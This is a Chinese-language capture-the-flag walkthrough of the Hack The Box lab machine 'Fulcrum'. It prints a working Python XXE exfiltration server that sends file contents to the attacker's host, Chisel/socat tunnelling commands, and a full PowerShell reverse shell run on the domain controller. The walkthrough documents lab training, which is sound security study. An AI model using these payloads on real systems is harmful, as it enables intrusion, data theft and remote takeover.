域渗透实战之fulcrum
2023-11-13 10:46:54 Author: xz.aliyun.com(查看原文) 阅读量:3 收藏

端口扫描

使用nmap进行端口扫描,发现存在大量端口开放。

接着去查看其版本和对应的服务。

Fuzz接口

使用wfuzz对其url路径后的参数进行枚举。

目录遍历

使用工具进行目录枚举,未发现有用的目录。

接着去看服务,访问端口为4的页面。

目录暴力破解

然后继续对其进行爆破,发现存在home.php.

然后尝试进行上传,发现没法上传成功。

88端口

访问88端口,发现存在phpadmin登录界面。

尝试弱口令登录,没有成功。

56423端口

使用curl进行测试,发现有回显。

xxe漏洞

接着使用burp,然后抓包。

发现其存在xxe漏洞

文件泄露

然后使用xxe进行加载.dtd文件来读取文件。

xxe文件读取

开启http服务。

然后将读取到的内容进行解码,成功获取到读取的内容

SSRF漏洞

编写脚本

#!/usr/bin/python3

import base64
import logging
import readline
import requests
import threading
import time
from flask import Flask, request

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

app = Flask(__name__)
prev_data = ""

xml_template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.10.14.6/dtd?fn={}">
<data>&send;</data>"""

@app.route("/dtd")
def dtd():
    fn = request.args['fn']
    return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}">
    <!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.6/exfil?data=%file;'>">
    %all;"""


@app.route("/exfil")
def data():
    global prev_data
    b64data = request.args['data'].replace(' ', '+') # Flask tries to URL decode it
    print(b64data)
    print(len(b64data))
    data = base64.b64decode(b64data).decode().strip()
    if data != prev_data:
        print(data)
        prev_data = data
    return ""


def web():
    app.run(host="0.0.0.0", port=80)


if __name__ == "__main__":
    threading.Thread(target=web, daemon=True).start()
    time.sleep(1)
    #app.run(debug=True, use_reloader=False, host="0.0.0.0", port=80)
    while True:
        try:
            fn = input("file> ")
            xml = xml_template.format(fn)
            requests.post('http://10.10.10.62:56423', data=xml)
        except KeyboardInterrupt:
            print()

反弹shell

执行脚本来反弹shell

开启http服务。

发现该脚本可以成功执行命令。

解码进行查看执行ping之后的内容。
使用nc进行反弹。

获取shell

成功获取webshell

查看网络进程。

查看端口。

网络枚举

上传nmap,然后进行端口扫描,发现其存在5985端口。

翻配置文件

发现存在config.inc.php,并发现了用户名和密码。

解密密码

隧道搭建

上传Chisel,然后搭建隧道。

./socat tcp-listen:60218,reuseaddr,fork tcp:192.168.122.228:5985 &
./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
./chisel_1.9.1_linux_amd64 client 10.10.14.39:8001 R:socks
./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5985
socat tcp-listen:5985,reuseaddr,fork tcp:10.10.16.5:55555

然后在kali里面配置prtoychains,然后进行连接测试。

Winrm获取shell

发现存在dc和laap的连接记录。

LDAP查询

鉴于帐户名称和上面的注释,查询活动目录域似乎是个好主意。要从 PowerShell 查询 LDAP,我需要一个DirectoryEntry对象。这些对象被引用为System.DirectoryServices.DirectoryEntry, 或ADSI。有多种构造函数(创建对象的方法),但我将使用这个,因为它允许我传递用户名和密码。

搜索用户

使用原始 PowerShell 进行枚举

发现有8个用户,它们全部转储并滚动浏览

查询域管理员

上传PowerView工具

上传脚本,然后执行。

执行命令
获取user.txt

.\c.execlient10.10.14.39:8000R:5985:192.168.122.132:5985

隧道

枚举

查看共享。

发现域管密码

获取root.txt
读取到root.txt

反弹shell

执行命令,然后使用nc来反弹shell。

Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()  }

REF:
https://www.cnblogs.com/autopwn/p/14049762.html
https://www.hackingarticles.in/hack-the-box-fulcrum-walkthrough/


文章来源: https://xz.aliyun.com/t/13030
如有侵权请联系:admin#unsafe.sh